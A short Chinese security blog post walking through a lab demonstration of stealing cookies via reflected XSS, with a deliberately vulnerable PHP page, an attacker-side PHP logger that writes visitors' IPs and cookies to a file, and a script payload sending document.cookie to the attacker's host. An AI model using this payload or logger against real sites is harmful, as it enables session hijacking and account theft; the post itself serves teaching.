碳基体

奋斗在产品安全第一线的安全妹子

利用xss盗取cookie的简单实例

试验环境

攻击机器  10.1.36.181 stealcookies.php cookie.txt

受害服务器 10.1.36.34 victim.php victim.html



(1)受害者有xss漏洞的脚本victim.php (问题字段用红色标明)

<?php
session_start();

session_regenerate_id();
echo session_id()."<br/>";

if(isset($_POST["login"]))
{
echo "Hello " . $_POST["name"]."<br/>";
}
?>

(2)对应表单victim.html

<html>
<body>
<form id ="form1" name="form1" method="post" action="victim.php">
<label>Name
<input name="name" type="text" id="name"/>
</label>
<input name="login" type="submit" id="login" value="submit"/>
</form>
</body>
</html>



正常流程

  



(3)攻击者盗取cookie的脚本stealcookies.php

<?php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$date = date("F j, Y, g:i a");
$querystring = $_SERVER["QUERY_STRING"];
$log = fopen("cookie.txt","a+");
$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date  | Cookie: $querystring \n";
fwrite($log,$str);
?>

脚本运行的前提条件,在stealcookies.php同一根目录下,有一个有写权限的文件 cookie.txt


攻击流程

 在 http://10.1.36.34/victim.html的表单中提交以下语句

<script>document.write('<img src="http://10.1.36.181/stealcookies.php?a=' + encodeURI(document.cookie) + '"/>')</script>

js的意思是生成一个包含攻击者url的图片


接着我们可以看到访问该页面用户的cookie写入到了攻击者的cookie.txt文件里


查看攻击者10.1.36.181上的cookie.txt文件

cat cookie.txt

 

可以看到收到cookie了。


 

来源:碳基体

评论